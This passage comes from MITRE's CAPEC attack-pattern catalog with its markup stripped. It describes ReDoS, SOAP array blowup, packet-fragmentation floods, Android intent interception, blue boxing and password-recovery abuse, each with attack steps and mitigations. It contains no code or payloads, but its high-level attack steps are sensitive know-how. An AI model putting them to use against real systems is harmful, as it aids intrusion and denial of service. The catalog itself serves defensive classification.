+ + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName27158 + Previous_Entry_Name_27158 + + + + + + + + + 2021-10-21 + + + + + XML Quadratic Expansion + + + + + + + + + + + + #CAPEC-492 + Regular Expression Exponential Blowup + + + + + + + + + 492 + + + + + Regular Expression Exponential Blowup + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The algorithm builds a finite state machine and based on the input transitions through all the states until the end of the input is reached. NFA engines may evaluate each character in the input string multiple times during the backtracking. The algorithm tries each path through the NFA one by one until a match is found; the malicious input is crafted so every path is tried which results in a failure. Exploitation of the Regex results in programs hanging or taking a very long time to complete. These attacks may target various layers of the Internet due to regular expressions being used in validation.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27168 + Related_Attack_Pattern_27168 + + + + + + + + + + + + + + 130 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to identify hosts running a poorly implemented Regex, and the ability to send crafted input to exploit the regular expression.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test custom written Regex with fuzzing to determine if the Regex is a poor one. Add timeouts to processes that handle the Regex logic. If an evil Regex is found rewrite it as a good Regex.</xhtml:div> + + + + + 400 + + + + + 1333 + + + + + + + + + + + + #indTaxonomyMappingRegularExpressionDenialOfServiceReDoS + Regular expression Denial of Service - ReDoS + + + + + + + + + + + + + + Regular expression Denial of Service - ReDoS + + + + + + + + + + + + #indReferenceReference27188 + Reference_27188 + + + + + + + + + REF-421 + + + + + + + + + + + + #indContentHistoryContentHistory27190 + Content_History_27190 + + + + + + + + + + + + + + + + #indSubmissionSubmission27191 + Submission_27191 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27196 + Modification_27196 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27202 + Modification_27202 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27208 + Modification_27208 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification27214 + Modification_27214 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27220 + Modification_27220 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-493 + SOAP Array Blowup + + + + + + + + + 493 + + + + + SOAP Array Blowup + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27231 + Related_Attack_Pattern_27231 + + + + + + + + + + + + + + 130 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the attacker to know the endpoint of the web service, and be able to reach the endpoint with a malicious SOAP message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enforce strict schema validation. The schema should enforce a maximum number of array elements. If the number of maximum array elements can't be limited another validation method should be used. One such method could be comparing the declared number of items in the array with the existing number of elements of the array. If these numbers don't match drop the SOAP packet at the web service layer.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indReferenceReference27245 + Reference_27245 + + + + + + + + + REF-422 + + + + + + + + + + + + #indContentHistoryContentHistory27247 + Content_History_27247 + + + + + + + + + + + + + + + + #indSubmissionSubmission27248 + Submission_27248 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27253 + Modification_27253 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27259 + Modification_27259 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-494 + TCP Fragmentation + + + + + + + + + 494 + + + + + TCP Fragmentation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In comparison, IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. This behavior of fragmentation defeats some IPS and firewall filters who typically check the FLAGS in the header of the first packet since dropping this packet prevents the following fragments from being processed and assembled.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another variation is overlapping fragments thus that an innocuous first segment passes the filter and the second segment overwrites the TCP header data with the true payload which is malicious in nature. The malicious payload manipulated properly may lead to a DoS due to resource consumption or kernel crash. Additionally the fragmentation could be used in conjunction with sending fragments at a rate slightly slower than the timeout to cause a DoS condition by forcing resources that assemble the packet to wait an inordinate amount of time to complete the task. The fragmentation identification numbers could also be duplicated very easily as there are only 16 bits in IPv4 so only 65536 packets are needed.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27274 + Related_Attack_Pattern_27274 + + + + + + + + + + + + + + 130 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the target system to be running a vulnerable implementation of IP, and the adversary needs to ability to send TCP packets of arbitrary size with crafted data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated by enforcing rules at the router following the guidance of RFC1858. The essential part of the guidance is creating the following rule "IF FO=1 and PROTOCOL=TCP then DROP PACKET" as this mitigated both tiny fragment and overlapping fragment attacks in IPv4. In IPv6 overlapping(RFC5722) additional steps may be required such as deep packet inspection. The delayed fragments may be mitigated by enforcing a timeout on the transmission to receive all packets by a certain time since the first packet is received. According to RFC2460 IPv6 implementations should enforce a rule to discard all fragments if the fragments are not ALL received within 60 seconds of the FIRST arriving fragment.</xhtml:div> + + + + + 770 + + + + + 404 + + + + + + + + + + + + #indReferenceReference27287 + Reference_27287 + + + + + + + + + REF-423 + + + + + + + + + + + + #indContentHistoryContentHistory27289 + Content_History_27289 + + + + + + + + + + + + + + + + #indSubmissionSubmission27290 + Submission_27290 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27295 + Modification_27295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27301 + Modification_27301 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description, Prerequisites + + + + + + + + + + + + #CAPEC-495 + UDP Fragmentation + + + + + + + + + 495 + + + + + UDP Fragmentation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27312 + Related_Attack_Pattern_27312 + + + + + + + + + + + + + + 130 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the attacker to be able to generate fragmented IP traffic containing crafted data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated by changing default cache sizes to be larger at the OS level. Additionally rules can be enforced to prune the cache with shorter timeouts for packet reassembly as the cache nears capacity.</xhtml:div> + + + + + 770 + + + + + 404 + + + + + + + + + + + + #indReferenceReference27325 + Reference_27325 + + + + + + + + + REF-424 + + + + + + + + + + + + #indContentHistoryContentHistory27327 + Content_History_27327 + + + + + + + + + + + + + + + + #indSubmissionSubmission27328 + Submission_27328 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27333 + Modification_27333 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-496 + ICMP Fragmentation + + + + + + + + + 496 + + + + + ICMP Fragmentation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27344 + Related_Attack_Pattern_27344 + + + + + + + + + + + + + + 130 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the target system to be running a vulnerable implementation of IP, and the attacker needs to ability to send arbitrary sized ICMP packets to the target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated through egress filtering based on ICMP payload so a network is a "good neighbor" to other networks. Bad IP implementations become patched, so using the proper version of a browser or OS is recommended.</xhtml:div> + + + + + 770 + + + + + 404 + + + + + + + + + + + + #indReferenceReference27357 + Reference_27357 + + + + + + + + + REF-425 + + + + + + + + + + + + #indContentHistoryContentHistory27359 + Content_History_27359 + + + + + + + + + + + + + + + + #indSubmissionSubmission27360 + Submission_27360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27365 + Modification_27365 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-497 + File Discovery + + + + + + + + + 497 + + + + + File Discovery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27378 + Related_Attack_Pattern_27378 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must know the location of these common key files.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27386 + Consequence_27386 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage file protection mechanisms to render these files accessible only to authorized parties.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingFileAndDirectoryDiscovery + File and Directory Discovery + + + + + + + + + + + + + + 1083 + + + + + File and Directory Discovery + + + + + + + + + + + + #indContentHistoryContentHistory27403 + Content_History_27403 + + + + + + + + + + + + + + + + #indSubmissionSubmission27404 + Submission_27404 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + + + + + + + + #indModificationModification27409 + Modification_27409 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification27415 + Modification_27415 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Resources_Required + + + + + + + + + + + + #CAPEC-498 + Probe iOS Screenshots + + + + + + + + + 498 + + + + + Probe iOS Screenshots + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines screenshot images created by iOS in an attempt to obtain sensitive information. This attack targets temporary screenshots created by the underlying OS while the application remains open in the background.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">These images are used by iOS to aid in the visual transition between open applications and improve the user's experience with a device. An application can be at risk even if it properly protects sensitive information when at rest. If the application displays sensitive information on the screen, then the potential exists for iOS to unintentionally record that information in an image file. An adversary can retrieve these images either by gaining access to the image files, or by physically obtaining the device and leveraging the multitasking switcher interface. This attack differs from CAPEC-648, which targets intentional screenshots initiated by an end-user that are stored in the device's storage.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27427 + Related_Attack_Pattern_27427 + + + + + + + + + + + + + + 545 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires physical access to a device to either excavate the image files (potentially by leveraging a Jailbreak) or view the screenshots through the multitasking switcher (by double tapping the home button on the device).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an application that may display sensitive information should clear the screen contents before a screenshot is taken. This can be accomplished by setting the key window's hidden property to YES. This code to hide the contents should be placed in both the applicationWillResignActive() and applicationDidEnterBackground() methods.</xhtml:div> + + + + + 359 + + + + + + + + + + + + #indReferenceReference27442 + Reference_27442 + + + + + + + + + REF-426 + + + + + Chapter 11 : Page 285 : Application Screenshots + + + + + + + + + + + + #indContentHistoryContentHistory27444 + Content_History_27444 + + + + + + + + + + + + + + + + #indSubmissionSubmission27445 + Submission_27445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27450 + Modification_27450 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Architectural_Paradigms, Related_Attack_Patterns, Technical_Context + + + + + + + + + + + + #indModificationModification27456 + Modification_27456 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27462 + Modification_27462 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description, Extended_Description, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName27468 + Previous_Entry_Name_27468 + + + + + + + + + 2015-11-09 + + + + + Probe Application Screenshots + + + + + + + + + + + + #CAPEC-499 + Android Intent Intercept + + + + + + + + + 499 + + + + + Android Intent Intercept + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, intercepts messages from a trusted Android-based application in an attempt to achieve a variety of different objectives including denial of service, information disclosure, and data injection. An implicit intent sent from a trusted application can be received by any application that has declared an appropriate intent filter. If the intent is not protected by a permission that the malicious application lacks, then the attacker can gain access to the data contained within the intent. Further, the intent can be either blocked from reaching the intended destination, or modified and potentially forwarded along.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27474 + Related_Attack_Pattern_27474 + + + + + + + + + + + + + + 117 + + + + + 512 + + + + + 514 + + + + + + + + + + + + #indAttackStepAttackStep27480 + Attack_Step_27480 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find an android application that uses implicit intents] Since this attack only works on android applications that use implicit intents, rather than explicit intents, an adversary must first identify an app that uses implicit intents. They must also determine what the contents of the intents being sent are such that a malicious application can get sent these intents.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27485 + Attack_Step_27485 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create a malicious app] The adversary must create a malicious android app meant to intercept implicit intents from a target application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specify the type of intent wished to be intercepted in the malicious app's manifest file using an intent filter</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27491 + Attack_Step_27491 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get user to download malicious app] The adversary must get a user using the targeted app to download the malicious app by any means necessary</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27496 + Attack_Step_27496 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Intercept Implicit Intents] Once the malicious app is downloaded, the android device will forward any implicit intents from the target application to the malicious application, allowing the adversary to gaina access to the contents of the intent. The adversary can proceed with any attack using the contents of the intent.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Block the intent from reaching the desired location, causing a denial of service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gather sensitive information from the intercepted intent</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify the contents of the intent and forward along to another application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application is used to intercept implicit intents.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27509 + Consequence_27509 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence27513 + Consequence_27513 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence27517 + Consequence_27517 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, explicit intents should be used whenever sensitive data is being sent. An explicit intent is delivered to a specific application as declared within the intent, whereas the Android operating system determines who receives an implicit intent which could potentially be a malicious application. If an implicit intent must be used, then it should be assumed that the intent will be received by an unknown application and any response should be treated accordingly. Implicit intents should never be used for inter-application communication.</xhtml:div> + + + + + 925 + + + + + + + + + + + + #indReferenceReference27529 + Reference_27529 + + + + + + + + + REF-427 + + + + + 3.1 Unauthorized Intent Receipt + + + + + + + + + + + + #indContentHistoryContentHistory27531 + Content_History_27531 + + + + + + + + + + + + + + + + #indSubmissionSubmission27532 + Submission_27532 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27537 + Modification_27537 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification27543 + Modification_27543 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27549 + Modification_27549 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27555 + Modification_27555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Consequences + + + + + + + + + + + + #indModificationModification27561 + Modification_27561 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName27567 + Previous_Entry_Name_27567 + + + + + + + + + 2020-12-17 + + + + + Intent Intercept + + + + + + + + + + + + #CAPEC-5 + Blue Boxing + + + + + + + + + 5 + + + + + Blue Boxing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:b&gt;This attack pattern is included in CAPEC for historical purposes.&lt;/xhtml:b&gt; + &lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27580 + Related_Attack_Pattern_27580 + + + + + + + + + + + + + + 220 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">System must use weak authentication mechanisms for administrative functions.</xhtml:div> + + + + + + + + + + + + #indSkillSkill27586 + Skill_27586 + + + + + + + + + + + + + + Given a vulnerable phone system, the attackers' technical vector relies on attacks that are well documented in cracker 'zines and have been around for decades. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">CCITT-5 or other vulnerable lines, with the ability to send tones such as combined 2,400 Hz and 2,600 Hz tones to the switch</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27592 + Consequence_27592 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27597 + Consequence_27597 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Upgrade phone lines. Note this may be prohibitively expensive</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use strong access control such as two factor access control for administrative access to the switch</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the adversary has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available.</xhtml:div> + + + + + 285 + + + + + + + + + + + + #indReferenceReference27615 + Reference_27615 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory27617 + Content_History_27617 + + + + + + + + + + + + + + + + #indSubmissionSubmission27618 + Submission_27618 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27623 + Modification_27623 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27629 + Modification_27629 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated @Status, Description + + + + + + + + + + + + #CAPEC-50 + Password Recovery Exploitation + + + + + + + + + 50 + + + + + Password Recovery Exploitation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Most of them use only one security question. For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on "forgot password" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27646 + Related_Attack_Pattern_27646 + + + + + + + + + + + + + + 212 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27649 + Related_Attack_Pattern_27649 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27650 + Related_Attack_Pattern_27650 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27651 + Related_Attack_Pattern_27651 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27652 + Related_Attack_Pattern_27652 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27653 + Related_Attack_Pattern_27653 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep27656 + Attack_Step_27656 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Understand the password recovery mechanism and how it works.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27661 + Attack_Step_27661 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system allows users to recover their passwords and gain access back into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password recovery mechanism has been designed or implemented insecurely.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password recovery mechanism relies only on something the user knows and not something the user has.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">No third party intervention is required to use the password recovery mechanism.</xhtml:div> + + + + + + + + + + + + #indSkillSkill27674 + Skill_27674 + + + + + + + + + + + + + + Brute force attack + + + + + + + + + + + + #indSkillSkill27675 + Skill_27675 + + + + + + + + + + + + + + Social engineering and more sophisticated technical attacks. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For a brute force attack one would need a machine with sufficient CPU, RAM and HD.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many incorrect attempts to answer the security question.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27684 + Consequence_27684 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use multiple security questions (e.g. have three and make the user answer two of them correctly). Let the user select their own security questions or provide them with choices of questions that are not generic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">E-mail the temporary password to the registered e-mail address of the user rather than letting the user reset the password online.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that your password recovery functionality is not vulnerable to an injection style attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker clicks on the "forgot password" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 